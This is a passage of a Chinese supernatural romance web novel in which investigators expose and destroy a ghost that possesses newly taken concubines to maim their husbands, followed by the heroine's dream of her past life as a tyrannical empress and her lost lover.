“结果当天晚上……”大娘说着,啧啧叹息两声,“惨啊!新娘发了狂,把他那个……就是男人身上顶顶重要的那东西,给活生生咬下来了!”
“可第二天,新纳的小妾又恢复了神志,将前一晚的事情忘得一干二净。你说奇不奇?”
“哦,还有一次也诡异得很!那家也是纳妾的,新娘在新房里发了疯,大哭大闹。把婆家人吓得不轻,半夜将她房门给锁上,怕她出来**。结果半夜听到新房里传来哼哼唧唧的声音。”
“新郎戳开窗户纸一看,就见新娘子衣衫尽褪,身上趴着一团黑影在……在做那事!”
“要不是听说你成婚了,这种腌臜事我是肯定不能说给你听的。”说话间,大娘还瞪了东方起一眼,“你别偷听,毛头小子人事不知的!”
毛头小子东方起:“……”
喜宴一直吃到晚上方才散场。
林倾月和东方起还留在这里,等着看接下来是否会出变故。
等啊等,等到洞房熄了灯,里面隐约传来新人欢愉的声音。
虽然隔着半个院子,但他们耳目异与凡人,事无巨细,都能听见。
林倾月忍不住看向东方起:“你脸又红了,果然是个毛头小子。”
东方起不甘示弱地道:“你不也还是黄花大闺女?在这里听墙根,你就不觉得……不觉得害羞?”
林倾月是真没什么羞耻心。毕竟她前世可是拥有过后宫的女帝,尤其还专宠过一人。说她是风月场上的老手,都不夸张。
不过看着身边男子纯情害羞的脸色,她感觉自己好像被衬托成了老流氓。
于是她忍不住为自己解释了一句:“我其实没有偷听墙根的习惯,只是担心里面会出事。”
东方起不信:“可我刚才看到你笑了!”
“我笑了吗?”林倾月否认到底,“那肯定是你看错了!”
第91章 发疯的新娘
又等了一阵子,洞房内彻底安静下来,只有鼾声阵阵传出。
林倾月道:“看来这家应该没事儿。走吧,我们去找谢守正。”
根据之前几次的情况来看,要出事的话都是在刚进入洞房,尚未完成最后那一步。
在加上林倾月和东方起,在这里等了半天,也没有察觉到任何阴邪气息,因此断定这家不会出事。
谢守正和红瑶去的那家,住在玉石镇另一头的村子上。
等了一晚上,也同样没什么收获。
和林倾月汇合后,谢守正道:“难道是邪祟察觉到我们的存在,所以不敢现身出来?”
林倾月道:“我觉得不是。是随机选择,今晚正好没选中我们盯着的两家?”
谢守正道:“若是这样的话,那咱们可没那么多时间多管闲事了。”
红瑶经过这两天的相处,知道他们还要赶路,于是提议道:
“要不,等我报完了仇,我再回来把事情查清楚?你们别误会,我不是想要借此拖延时间。答应了你们事后归案,我一定会遵守承诺。再说,我身上已被小姐种了杀符,你们也不用担心我耍诈。”
东方起道:“倒不是不相信你,只是我觉得这事还有些蹊跷。”
可到底蹊跷在哪里呢——东方起和林倾月的眼神不经意地碰撞在一起,忽然福至心灵,齐齐道了一声:“纳妾!”
谢守正还有些懵:“什么意思?”
东方起便将先前从大娘打听到的事情,给谢守正说一遍,又道:“根据那大娘提供的线索来看,先前几次出事的人家其实不是正经娶妻,而是纳妾!”
林倾月也点头认可:“这里的习俗纳妾都是要晚上操办,所以大家不明所以,还以为是时辰的问题,而没有想到纳妾的问题!”
谢守正只觉得哭笑不得:“所以,那邪祟是见不得人纳妾?”
他问红瑶:“难道对方是像你一样受过爱人背叛?生出了嫉妒心?”
红瑶冷声道:“我非嫉妒,纯恨而已。”
谢守正道:“那倒也是。”
红瑶又道:“对了,我刚才听到一个人说,玉石镇的北街有个玉石老板今日纳妾。为了规避风险,一早就将新人迎回家门了。”
谢守正忙道:“事不宜迟,我们去北街看看!”
此刻天色尚早,还有不少铺子亮着灯。稍一打听,就知道今早纳妾的乃是专营白玉首饰铺的老板,叫:李大头。
李大头家的宅子前店后宅的格局。
前头三间敞亮的铺面一字排开,写着“李家玉石”的牌匾上,红绸招展。门前散落一地鞭炮的碎屑残硝,还沾着未褪的喜庆。
店铺的老板娘正在打扫卫生,准备收拾打烊。
忽见来了几个客人,老板娘赶忙过来招待。
林倾月拉着红瑶,装作挑选首饰,似是随口般询问:“看你们门口的喜气洋洋的,可是有喜事?”
“是有喜事,我夫君纳妾。”妇人眼神黯淡,语气也不似方才的欢快。
红瑶忍不住多嘴问了一句:“看你的样子,并不高兴。为什么还要答应你夫君纳妾呢?”
“我不高兴又有什么用?”老板娘叹了口气。
“我在他清贫的时候嫁他为妻,又给他生儿育女,可他一有钱,第一时间就想要纳妾。我们做女子的,若敢多嘴,还会被冠上妒妇的恶名。”
大约是问到伤心事,老板娘的话也多了些:“这世界真是不公平,女子要三从四德,男子却可以三妻四妾,占尽便宜!”
红瑶又问:“听说你们镇上纳妾的人家,都会招惹上邪祟。不怕吗?”
老板娘道:“我当然怕呀!可光我怕又有什么用?色字头上一把刀。尤其是我那夫君,这两年攒了些家私,人都要飘了。”
“明知有邪祟**,我也劝了多日,他只把我的良言当嫉妒,根本不听劝。还说,他仔细打听过,拜堂行礼时辰不过午时就不打紧。”
“有时候我恨的呀,真不如让那邪祟好好治他一治!”
林倾月眼底闪过一抹促狭的笑意:“那你今晚,可要如愿了。”
老板
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娘不解:“什么意思?”
正说着,一声尖叫,划破后宅的夜空。
几人脸色微变,不等伙计多说,便径直冲到后宅。
然后就看到一个中年男人光着屁股,踉踉跄跄地从里面跑出来,惊慌失措地喊着:
“有邪祟,有邪祟啊!”
先前还一个劲儿数落自家男人的老板娘,看到这模样,立马冲过去询问:“夫君,这是怎么了?”
当老板娘的目光落到男人身体的下方时候,吓得惊呼出声:“啊!”
那男人的下身都是血,作为男人最重要的东西,已经不见了,只有血呼啦差的一片。
男人痛得已经站不住了,跌坐在地上,鲜血也瞬间流淌了一地。
他颤颤巍巍的指前方的房门道:“她她她要杀我!”
顺着他手指的方向,只见那昏黄的房间里,慢慢走出一位穿着粉色喜服的新嫁娘,身后拖着一条长长的剪影。
女子走出房门,一步步向男人走去。嘴边挂着诡异的笑容,握在手里的剪子上染着斑斑血迹。
“夫君,你怎么跑了呢?你不是说,喜欢我的年轻美貌吗?夫君,快随我去洞房吧!”
“这个女人疯了,她她她刚才剪了我的命根子!呜呜……我以后都做不了男人了!”
男人狼狈地捂着大腿根部,痛得浑身都在颤抖。可更痛的,却是他的心。没了命根子,做不了男人,还怎么过下半辈子?
早知道纳妾会带来这样大的灾祸,还不如守着家中老妻安安分分的度日!
妻子又气又怒又心疼:“让你不要纳妾,你非不听!现在好了,出事了吧?哎呀,这可怎么办?当家的你可不能死啊,你**我和娃娃们可怎么办?”
失血加惊吓,男人终是再也撑不住,昏了过去。
对方却不肯放过他,神色狰狞地吼着:“你不是喜欢三妻四妾吗?不是想要洞房花烛吗?走啊,起来呀,我们去洞房,嘿嘿……洞房!”
嘴上说的洞房,手里的剪刀却高高举起,狠狠地向男人刺来。
第92章 居然是个男鬼
“滚开!滚开,不要伤害我夫君!”老板娘尖啸着护在男人身前——这是她的夫,她的孩子的爹,她怎么能眼睁睁地看着他死?
眼看着剪刀就要扎向老板娘的身体,忽然一道红光闪过,“唰”的一声,血红色的长鞭挥来,如灵蛇一般缠住女人握着凶器的手腕。
谢守正喝道:“何方邪祟,快快从苦主身上下来,否则将你打得魂飞魄散,永不超生!”
“滚开,不要多管闲事!这些男人该死,三妻四妾,花心的男人都该死!”那女人目露凶光,龇牙咧嘴,还在试图反抗,明显是被邪祟附体。
谢守正又是一鞭子抽了过去,这次他用的是巧劲,看着力道极大,但只针对邪祟,落在那女子身上,只是一道浅浅的痕迹,并无大碍。
只听一声惊呼“啊!”
一团黑色的东西,从女人身体里滚出来,落在地上慢慢地凝成了一个人形——
蓬乱的头发、佝偻的身形,以及死白死白的脸。竟然是一个五十岁左右的男人魂魄。
东方起看到他的本体时,都觉得意外:“你口口声声喊着三妻四妾都该死,我还以为你是深受其害的女人呢。没想到居然是个男人。”
林倾月也觉得诧异:“三妻四妾,受益的不是男人吗?怎么你身为男人,反而如此痛恨?”
“谁说三妻四妾,受益人都是男人?那明明就是一小部分男人的垄断!”
那鬼魂被抽打出来后,知道碰上了厉害角色,不敢再放肆,便将自己的委屈,一股脑的倾诉出来。
鬼魂名叫张狗蛋,生前乃是玉石镇辖下一个小村子的村民,生来贫寒。
穷苦人家的孩子,夭折率很高。再加上都是文盲,也不会取名,因此都喜欢给孩子取贱名,认为贱名好养活。
张狗蛋也是如此。
张狗蛋六岁就跟着父亲上山挖玉石,听说那些石头可以做成精美的首饰卖上高价。
可惜,费尽血汗挖来的玉石却不属于他们。昂贵的玉石原石,只能患得微薄的酬劳,勉强糊口。
张狗蛋长到十几岁后,渐渐开始通人事。会悄悄盯着村头路过的大姑娘瞧,也曾和伙伴们偷看过隔壁老寡妇洗澡。
父亲知道,该给儿子说亲了。
可家中一穷二白,好不容易攒下的半筐鸡蛋送给媒人,最后也成了肉包子打狗一去不回。
父亲无奈,又不忍儿子打光棍,干脆一狠心借了半筐鸡蛋,去了一个远房亲戚家。
那远房亲戚家有三个女儿,却一个儿子都没有。
因为这事,从前没少受村里人嘲笑,说他们家没儿子继承香火。宗族里商量大小事物的时候,也没他们家说话的份。
可等到他们家三个女儿长大后,突然就变成了香饽饽,说亲的人络绎不绝。
张狗蛋父子俩上门求娶,可才开口就被拒绝了。
亲戚道:“你们来晚了,我家三个闺女都已定好了人家。”
“啊?这么快?”张狗蛋满眼失望。
张父赶忙追问:“许了谁家?我怎么没听说,村里谁家和你们结亲了?都是亲戚,你可别糊弄我们!”
对方笑道:“许的人家不是村里,而是镇上!你们也知道,这几年镇子上的铺子越开越多,那些掌柜们做生意也越做越红火,赚了不少家私。”
张狗蛋忍不住道:“镇子上那些有钱的商户老板,怎么瞧得上我们这些穷苦人家的女儿?”
“做正妻当然配不上,但可以做妾啊!”
“什么?你居然把三个女儿给别人做妾?你这不是把女儿推入火坑吗?”
亲戚冷哼一声:“做妾怎么了?宁做富家妾,顿顿大鱼大肉。也好过当穷**,天天吃草。狗蛋他娘,当初不就是因为产后高烧,抓不起药,活活给拖死的吗?那苦命的女人,一辈子连鸡蛋都舍不得吃。这半筐鸡蛋,还是拿回去吧。”
也是直到这时,张狗蛋才发现村子里和他一样的大龄未婚男越来越多。
同村的女子们不愿过苦日子,宁可做富人妾,也
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不做穷**。
亲戚家嫁女儿的那一天,张狗蛋特意去看。
穿了一辈子破衣服的远房表妹,那天终于穿上了新衣,手上还戴着一只水润润的玉镯,坐在花轿里一去不回。
也是在那一天,张狗蛋才知道,原来自己和父亲每天挖出来那些其貌不扬的玉石,居然可以那么好看。
回到家后,他忍不住冲父亲吼着:“为什么要将我生成个男儿身?”
女子再丑、家中再穷,也总有人娶。
可男人不一样,娶不上媳妇儿的,比比皆是。
都说男人可以继承香火,可若是连个媳妇都娶不上,又哪儿来的香火呢?
就这样,张狗蛋蹉跎一生,每天过得朝不保夕的生活,直到后来走完一生。
而此生最大的遗憾,是未能娶妻。因此,他生出了嗔恨之心。
他恨那些三妻四妾的男人,明明已经有了妻子,还不知满足,还要纳妾!
“那所谓的三妻四妾,只是为了让权有势的男人们合理合法的占有更多女人!听说东林府的长史苗大人,已经连纳了18房小妾,这个月又要纳妾了……”
听到“苗大人”名字时,红瑶眼底浮出一抹恨意。
“……富人可以美人环绕,妻妾成群,而我们这些底层的穷哭男人,却连一个妻子都娶不到,苦啊!”
张狗蛋语气一冷,恶狠狠地瞪着那个昏迷的男人:“就是因为这种男人的存在,一个人却娶了多个女人,才害得我娶不上媳妇!我不甘心,我好恨啊!所以我要报复他们!”
说着说着,他又呜呜咽咽地哭起来:“其实我不是坏人,我没有残害无辜的人。那些正经娶妻的人家,我都不会去干扰。我只找纳妾的人家,谁叫他们贪婪,放在家里的贤妻不要,非要纳妾!”
“凭什么他们可以纳一房又一房的妾,我却只能孤独到老?”
“可怜我活了一辈子,连女人的滋味都没尝过,更没有后代祭祀。呜呜……我真的好可怜!”
第93章 狠毒
听到男人倒出实情,众人一时都有些唏嘘,不知该说些什么。
“切!”开口的是林倾月,“无能的男人,不管在什么情况下都是无能。即便是一夫一妻,你以为像你这样的人就能娶妻了吗?别搞笑了,女子又不是物品,一夫一妻就能给你发放到位了?”
“即便后世改革,勒令男人不能纳妾,可又能如何呢?”
“好色,是男人的劣根性,除非没有财力去支撑,或者个别道德感十分高尚的人。否则,依然会偷腥、会养外室。”
红瑶听罢,附和道:“没错!世间男人皆薄幸,你这怨鬼之所以痛恨纳妾,也只是因为你得不到。若你有钱有权,你也会多妻多妾,绝对不会安分守己!男人这种东西,就该全部杀光!死绝!”
“哎哎!”谢守正嚷道,“不带这么拉仇恨的!我虽然是男人,但我绝对正经,一心只想做个尽职尽责的好人!”
东方起也默默地补了句:“我也是正经人,绝对不花心。”
林倾月并不想在这种事情上深究什么。
这本就是一个较为广泛的社会性问题,不是一朝一夕或者个人就能化解的。
他们此刻能化解的,只是眼前的鬼魂。
“不管你生前如何,既已经成了鬼魂,就不可再干扰阳间的正常秩序。放下执念自己去阴曹地府报道。”
张狗蛋的鬼魂道:“可我还是不甘心啊,我还没有娶妻,这辈子还没有真正的当过一回男人。就这样**,怎么能行?”
谢守正问:“那你想怎么样?”
张狗蛋搓了搓鬼手,道:“我看你们几个都很厉害的样子,能不能帮我主持一场冥婚?如此一来,我在阴曹地府也能有个伴。”
“不能!”林倾月冷冷地拒绝,“你若是没有犯下大罪,也许我还可以考虑帮你圆一个心愿。但是,你害了人!”
那些被他附身的无辜女子们,有些在意识不清的情况下,伤了丈夫的身体,未来在婆家的生活如何,可想而知。
还有一位受到了惊吓,导致精神失常,被夫家退回娘家,并追回礼金。最后那可怜的姑娘跳河**了。
她们又何其无辜?凭什么承受这种池鱼之殃?
“我数三下,要么自行去阴曹地府。要么被我打散魂魄!”林倾月懒得和他多费口舌,她可没有那么多泛滥的同情心。
“一。”
张狗蛋还在据理力争:“要不让我和这家的小妾欢好一夜也成!反正他家的男人以后也做不了男人了,我……”
“三!”林倾月一记掌风挥过,那鬼魂来不及惨叫一声,便魂飞魄散了。
红瑶都吓了一跳:他们不是官府中的人吗?怎么行事还如此狠辣?
谢守正都看呆了:“你还没喊二呢……”
林倾月道:“他话太多了。”
谢守正:“……不是,咱们明明可以超度他,就算他有错,去阴曹地府再清算也来得及,没必要这么残暴吧?不知道的,还以为你跟他有仇呢?”
林倾月道:“我跟他无仇无怨。只不过像他这样的,就算去了阴曹地府,也是去受折磨的。下辈子连畜生都投不了。还不如打散一了百了。”
谢守正悄声道:“可你到底是公职人员,还是应该依法办事。”
林倾月道:“那是在京里,现在我们是云游至此的术士——是吧,哥哥?”
东方起能说什么?
“你说的没错,妹妹。”
谢守正:“……”反倒衬得本官是个迂腐的人!
随着鬼魂的消散,困扰着玉石镇多时的事情也随之解决。
老板娘央求谢守镇和红瑶帮她把受伤的人给抬回屋里,又派了家里的帮工去请大夫上门医治。
而那个被附身过的小妾,还在昏迷中,被红瑶给抱回来房间。
老板娘看到那小妾,也有点不放心地询问:“她什么时候能苏醒?”
“明日。”红瑶说话间,悄悄地看了眼林倾月。
刚才,红瑶不经意间,看到林倾月悄悄地为昏迷中的少女清洗了部分记忆。如此以来,她醒来后不会记得今晚被鬼魂俯身的事,精神也不会受其影响。
前一刻还出手狠辣地解决了鬼魂,后一刻又帮了那少女。
林倾月——她到底是个什么样的人?
老板娘叹了口气:“我夫君已经成了那样,以后估计也不会再想女人了。明日,等那丫头醒来后,由她自己决定去留吧。”
红瑶问:“她差点抢了你夫君,你不恨她吗?”<
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br>老板娘道:“我恨她一个小丫头做什么?想要纳妾的是我夫君,没有她也还有别人。我还能迁怒吗?哎,女人何苦为难女人!”
眼看林倾月几人要走,老板娘赶忙追了出来:
“今晚真多亏了几位,要不然这场祸事不知道会演变成什么样子!我家也没别的,就店铺里那些玉器首饰值点钱……”
说着,她从柜台里拿出一个玉镯递给林倾月:“你先前进店的时候,我瞧你一直在看这个镯子,我送你戴着玩。”
怕林倾月不收,老板娘又说:“这些白玉,不值钱。听说最近矿上开出了红玉,那才是千金难得的宝贝。可惜,货源太少,我们这种小铺子根本收不到。”
说着,她又挑了个白玉簪子给红瑶:“若不嫌弃,就拿着戴。”
红瑶吃了一惊:“我也有吗?”
她跟在林倾月他们身边,其实就是俘虏,等找苗东报了仇后,就该去玄镜司伏法。
老板娘估计不知道自己的身份,还以为自己是林倾月他们的同伴,这才送礼感谢。
她正要拒绝,却听林倾月道:“拿着走吧,时间不早了,找个客栈休息。”
反正也确实出了力,谢礼该收就收。清廉——不存在的。
东方起也笑道:“收吧。”却在转身离开的时候,悄悄地丢下了两锭银子。
离开的路上,红瑶骑在马上,垂眸看着刚得到的白玉簪子。
她不由得想起了自己的事。因为被男人所害,所以自己就憎恨了所有人类,甚至还想要靠**提升修为。
可人类之中,有大奸大恶之辈,也有像老板娘这样的贤惠女子,还有如林倾月这种实力强大却愿意庇护弱小者的能人异士。
所以,自己从前的迁怒,是真的错了!
思忖良久后,她抬眸对马车里的林倾月道:“我从前虽然在市井中混迹了数年,可我被情爱蒙蔽了双眼,没有真正地看懂人性。今晚,受益匪浅。林小姐,多谢了。”
车帘子晃动,慵懒的声音从里头传出:“你该庆幸你手上没有沾染上无辜人的血,否则你的下场会和刚才的鬼魂一样。”
“是,我很庆幸!”甚至此刻回想,她都有些后怕:还好,没有铸成大错!
第94章 睡在一起了
当天晚上,一行人在玉石镇找了家客栈修,修整到第二天中午才出发。
主要是因为东方起三魂缺一,表面看着跟没事人一样,其实内里虚得很,需要多加休息。
为了照顾他,有时候林倾月会刻意换乘马,而把马车留给东方起。当然,驾车的车夫就会变成谢守正。
马车车厢很宽敞,其实完全能容得下两个人,但谢守正不同意,非说他们是叔嫂,同居车内不合适。
也真不知道他一头狼,到底是怎么把人类那些规章教条刻进骨子里的。
而且每次只要一提“叔嫂”二字,东方起明显就感觉别扭起来。
林倾月倒是脸皮厚很无所谓,有一次还开玩笑说:“我要是给东方宴戴了绿帽子,不知道他会不会气死。”
把谢守正吓得变了脸色,她却哈哈大笑:“你这么紧张干什么?不知道的,还以为你跟他东方宴有一腿呢?”
东方起则在旁边一个劲地咳嗽,也不知道是不是被吓的。
从玉石镇离开,抵达东林府的时候,戌时还未到。可城门已经紧闭,不许过往车辆出入。
有些赶不及进城的,就干脆在城外露宿。因此,城门外停了不少的车、马,人和货物。
那些着急赶路的人,被挡在城外很是着急。
“不是戌时才闭城门的吗?这会才刚过酉时,怎么就关门了?”
“一看你就是初来乍到,不知道情况!别的地方都是戌时关城门,唯独这东林府要提前一个时辰,酉时关城门。我也是路上耽误了,才没赶上。看来今晚只能露宿在外了!”
“我去年来此的时候规矩都没变,怎么突然就提前一个时辰了?酉时,太阳都没落山就关城门,也太早了点!”
“听说是半年多年,东林府的长史大人遇妖邪,险些被害!所以啊,闭城门的时间和宵禁的时间都提前了一个时辰!”
“……”
林倾月等一行人也被挡在城门外。
听到那些人的对话,谢守正也明白了怎么回事,笑着问红瑶:“这是防着你的吧?”
红瑶点头,很是遗憾:“真可惜,那次没能杀掉他。否则也不会有那么多事了。”
东方起皱眉道:“我大齐各个城池关闭时间、宵禁时间都有明文规定。那苗东,居然为了个人缘故,私自修改时辰。当真以为天高皇帝远,就能乱来了?”
大齐的宵禁和闭城时间都有严格规定,这是为了维护各地的治安与社会秩序。可若是随意修改提前,就会影响商贸和百姓的出行。
尤其东林府又是一座大城池,往来客商众多。
旁的不说,就看被挡在城门外的人都有数百名之多,城门内滞留的估计也不少。
林倾月从马上跳下来后,倒是很豁达地道:“既然来之、则安之。反正已经进不去了,不如就以天为被、地为床,大梦一场!”
东方起闻言,眉头舒展,也笑道:“好一个以天为被、地为床。那今晚就露宿在外!”
林倾月瞅了他一眼,转而吩咐谢守正:“你把被褥铺翻出来在车厢里铺好给公子睡,他比较虚。”
东方起不甘示弱地道:“要睡也是你睡车里,我没你想的那么虚弱。”
林倾月却是一个纵跃跳上了车顶,大大咧咧地往那儿一趟:“我睡这里,正好睡不着时还能观星赏月。”
东方起还要再说什么,谢守正抱着被子过来说:“公子,你们到底是叔嫂一场。真要天为被、地为床,那不就睡一块**了吗?不合适哇!”
东方起气恼得踹了他一脚:“你闭嘴!”
谢守正撇了撇嘴,“我不也是担心您身体,想让您睡得舒服些?小姐虽然是女儿身,但她强壮得能打死几头猛虎,您不用担心!”
林倾月冷冷地瞥来一眼:“小灰,我不光能打死猛虎,还很擅
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长猎狼。尤其喜欢狼牙做的饰品。要不,你试试?”
谢守正赶忙闭嘴,转进车厢里,给东方起铺床整被。
红瑶则把几人的马都栓在一块,自己找了个稍微平坦一些的地方,正要睡下。
旁边突然丢来一个毯子,林倾月道:“垫在身下,能舒服些。”
她抬头看去时,只见车顶上的女子侧躺着,黑色裙裾从车顶垂落下来,伴着夜风摇曳。
红瑶抿了抿唇,轻轻地道了一句:“多谢。”
谢守正睡在车旁边的地上,睡了一阵子,忽然鬼鬼祟祟起爬起来,探头见周围的人都已经睡下,没人注意。
于是他悄悄地变成了狼的样子,然后一头钻进了车厢里。
东方起被这突然跃入的黑影吓了一跳,待看清楚是小灰后,方才放松了警惕。
“小灰,你干什么?”
“公子,嘿嘿……外头硌得慌。让我卧在您身边吧。”
“出去。”
“公子,以前我没化形前,你不也让我睡你的床吗?”
“滚出去!”
“公子……您之前还说人家毛茸茸,抱着睡觉很舒服……”
下一刻:砰——咻!
毛茸茸的大狼被踹出马车,化成一道弧线,消失在夜色里,只留下一声哼哼唧唧的惨叫。
有人被惊醒:“咦,我怎么听到有狼叫?该不会有狼群要攻击我们吧?”
“别吓唬人!什么狼,分明就是狗叫。”
“嗯,肯定是哪个商队带了狗看管货物。别担心,继续睡。”
车厢内,东方起悄悄听了听车顶部的声音,林倾月似乎没醒。
他心下稍安:“还好倾月没发现,要不然可真是丢人。小灰也真是的,小时候能和现在一样吗?”
结果下一刻就听到戏谑的声音,从车顶上飘来:“原来你喜欢抱着谢守正睡觉啊,这爱好挺特别。”
东方起:“……”
第95章 **
东方起赶忙解释:“那都是我五六岁时候的事情了。刚捡他回来的时候,他毛茸茸的,就跟个大狗子似的。对别人都龇牙咧嘴,唯独会对我摇尾巴。”
“孩童时候贪睡,有时玩累了席地而睡,也不知道盖被子。小灰很有灵气,怕我冷就用尾巴把我揽到他肚子下面,为我取暖。”
“后来……”
“后来就滚到床上去了?”林倾月随口接了一句。
于是,原本温馨萌宠的画面,瞬间就有了不一样的氛围。
东方起简直有种百口莫辩的感觉。
“真的就小时候那么几年!到我八岁,他突然就变成了人。我才知道,原来他是个狼妖。”
“人类对妖怪依然存有一定的芥蒂,他害怕我把他赶走,抱着我哭得眼泪鼻涕直流。”
“我当然不可能把他赶走,他都习惯了跟人在一起,回深山老林里怎么适应得了?于是我就让他在我身边当个书童。”
“因为受到了人类文化的熏陶,他活得越来越像个人。平常在外人面前,他的礼数一点不少。也就是私下里没外人的时候,偶尔会露出小时候的憨态。绝对没有歪心思!”
最后一句是重点。
林倾月笑笑:“挺好。既是护卫又是宠物,还是大齐国任劳任怨的牛马。”
东方起:“……这个总结,很到位。”
上面没有再回话,东方起竖着耳朵悄悄听了听,呢喃一声:“愿卿好梦。”
枕着满天的灿烂星河,林倾月慢慢沉入了梦中。
她一向很少做梦,可今晚才沉入梦乡,大片的梦境纷至沓来。
星空不见了,黑夜也不见,出现在眼前的是密密麻麻的人群,诚惶诚恐地跪拜磕头,山呼万岁。
而她,穿着玄色的帝王衮服,袍身上绣日、月、星辰,以及龙的图案,象征“与天地同尊”。
她冷傲的目光透过冕冠下垂落的旒珠玉串,审视着底下人的民众。
那是林倾月自立为帝,登基时候的情景。
一般的帝王登基,会大赦天下,招揽人心。
可她不。
她登基的第一天,便要立威。
于是,威风了数千年的八大仙门世家,在这一天被**殆尽。
人头滚滚、满地鲜血,让倾月仙君的暴虐之名响彻整个修仙界!所有人都惊恐万分,笼罩在死亡的阴影之下。
可她却笑得灿烂,笑着说:“这么多血,多浪费呀。正好云宫的墙壁色泽单调,不如改个色吧。”
于是她的宫殿,就被鲜血涂成了殷红的颜色,永慑世人。
世人都说,她是魔鬼的转世,却偏偏要自称仙君,是怕死后无法成仙。
当然这些话,没人敢当她的面说,甚至连背后议论都要防着被人听去举报。
唯独有一人,从不惧怕她。
他对她说:“世人皆说你恶毒,可我知你杀的才是恶人。但是你为什么,不让人知道你的良苦用心?为什么要背负那些骂名?”
此时,她站在云宫金碧辉煌的大殿里,笑得邪魅:“你让本座与那些蝼蚁去解释,他们配吗?”
她笑容一收,涂着大红蔻丹的手指,挑起男子优美的下颌:“阿灼可知本座想做什么?”
白衣男人毫不畏惧地和天下第一的女魔头对视,笑容温润:“知道。陛下想要救世。”
“错了。”倾月仙君勾唇一笑,“本座要灭世!”
而后俯身,吻上了男人的唇,狠狠地允吸,暧昧的气息在整个大殿弥散开来。
世人皆知,倾月魔君不但残忍噬杀,且荒淫无度。
她的云宫里,拘禁了三千美男,供自己淫乐。
可鲜为人知的是,三千美男中,她只独宠一人。她所有的温柔宠爱都给了这个叫“阿灼”的,来历不明的男子。
却在醉酒之后,望着他的眉眼,看着看着就流出了眼泪,喊了另一个男人的名字:“灼华,我好想你……”
此刻,梦境里的阿灼一改往日的温顺,忽然按住她的手腕质问:“陛下到底是在看着我,还是透过我看见了他?”
倾月仙君笑着抚摸着男人的一双剑眉:“你早知道了不是吗?阿灼,你从来只是他的替身。若不是他,你以为你凭什么能在本座的身边?”
阿灼愤怒离去,白
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色的背影、走路时的姿势,真的像极了他。
从那之后,整整一年他都赌气不再来侍寝。而倾月仙君,也没再主动召见他。
再后来,云宫里又来了新人。一个比一个俊朗,个个都渴望得到那全天下最有权势女子的青睐。
阿灼终于慌了,主动来到她的面前服软:“陛下,就算你将我当成他的替身也无妨,只求在你心里为我留有一席之地。”
可此时,倾月看他的眼神再无从前的深情。
她冷冷地转身,“阿灼离开云宫吧,本座会派人送你去凡人的地界,你可以重新开始。”
“陛下,你要赶我走?”他不敢置信地望着她。
“为什么?哪怕我只是一个替身,可十年啊,阿灼陪你了你十年啊!你怎可说不要就不要?陛下,你回头看看我,看看我好不好?”
倾月仙君没有回头。
只是绝情地吩咐人将他送走。
只是站在大殿的窗口,看着他离去的背影,看了许久许久。
后来,统治了修仙界十几年的**终于被推翻了**,那座象征罪恶的云宫也被火海吞噬。
大批叛军聚在云宫之下,等着迎接史上第一位女**走向覆灭的那一刻。
唯独那人,那个被她远远送走,以为此生不会再见的人,却从人群中厮杀出来,小飞蛾扑火一般地穿过烈焰,向她奔赴而来。
一席白衣被鲜血染红,又被火焰舔食、吞噬……
“阿灼,不!”
林倾月猛然惊醒,手掌拍在身下的车顶,一时没有控制好力道。车顶“砰”的一声碎裂开来。
而她的人,还没从梦境中缓过神来,就跌到车厢里,撞在一个柔软的身躯上。
东方起刚要眯着,忽然天降一个人,撞得他胸口生疼。
他正要开口说话,可当四目相对时,却忽然看见林倾月满脸的泪水。
夜色中、星光下,总是带着戏谑笑容的脸庞上,却透着巨大的悲伤。
东方起的心仿佛被什么揪了一下,很疼。
他下意识地抬手,拂去的她脸上的泪水,柔声询问:“你为何在哭?”
第96章 故事
林倾月看着被自己压在身下的男人,朦胧的星光下,他的五官不那么清晰,却反而更像她的阿灼了。
直到他开口询问,她才恍然回神,翻身坐起,冷哼一声:“我怎么可能哭?不过是外面起风了,风沙迷了眼而已。”
他不是阿灼,林倾月也不可能再去找一个替身。那样伤人伤己的事,她这辈子都不会再做了。
东方起也坐起来,星光透过破碎的车顶,毫无遮拦地露出璀璨绚烂的姿态。
他望着她,看到她眸中似有破碎的星光在闪烁。
“你若是有难事,可以告诉我。认识这么久,我们应该也算是朋友了。”
林倾月突然又笑了起来,依然像从前那样没心没肺,好像刚才的一切,只是东方起的一场眼花。
“我若有难事,难道自己不会解决吗?”她的语气有些冲。
“我好像有点多虑了。”东方起敛眸笑了笑,夜色勾勒出他完美的侧面轮廓,真的好像好像啊……
也许是此刻的夜太过温柔,又或许是她的心境受到前世的影响,她忽然道:“小花,我给你讲个故事吧。”
东方起说:“好。”
林倾月:“从前有一个国家,人民生活幸福,他们无比感激神明的恩赐。他们认为,自己吃到的饭、喝到的水,甚至是呼吸到的空气,都是神明的恩赐。可是后来……”
她顿了顿,似乎在酝酿该如何往下说,又似乎在走神。
东方起等了一会儿,才问道:“后来怎样?”
林倾月继续讲述:“后来,出了一个异类。她出生在神族,天生高高在上,本该为世人谋福,受尽敬仰。可她却自甘堕落,屠戮了整个神界,也将神明从世人的崇拜里抹消。从此,魔鬼取代了神明,统治了世界。人们生活在黑暗里水深火热,终于想起要反抗。所以他们……他们烧**魔鬼。”
说到后来,她哈哈大笑:“怎么样,这个故事很有趣吧?正义战胜邪恶,善良的人类杀**罪恶滔天的魔鬼。”
东方起皱了皱眉:“你这个故事是从哪听来的?”
林倾月说:“我刚编的呀,胡编乱造的!我是不是很厉害,居然还有编故事的本事?”
东方起道:“对,你很厉害,无所不能。”
他又问:“我有个疑问,你故事里的那个主角他出身高贵,本应该和他的族人一样,做一个受世人敬仰的神。为什么他要放弃一切,甘心成魔?”
林倾月说:“因为她是个天生的恶人,不适合当神,只能堕魔。”
东方起却摇头:“不,我觉得他一定是有苦衷的,不然解释不通。换做别人,即便要做个魔鬼,也没必要撕去神装。披着神装的魔鬼,才更恐怖,也更长久。不是吗?”
林倾月一愣,须臾又笑:“那她还真是蠢呢——不扰你清梦了,车顶破了我去换个地方休息。”
东方起拦住了她:“你睡车里吧。女孩子在外面睡,不合适。”
说完,他就先一步下了车。
城外虽然是一大片开阔的平地,但地上其实并不用舒服,坑坑洼洼的,还有很多碎石土块。
他粗粗扫了一眼后,随便找个地方,把地上的碎石扫掉,铺上毯子就躺了上去。
谢守正刚才被踹飞,摇摇晃晃地爬起来,找了几个地方,都没找到合适当床的。
他变回了身形,又垂头丧气走回到马车旁——虽然殿下不喜欢抱着他睡了,但他还是想离殿下近一些。
刚走到马车附近,就看到躺在地上的东方起。
他蜷缩成一团,似乎已经睡熟了。身下的毯子铺展得很开,他只占了其中一半,还余下一半。
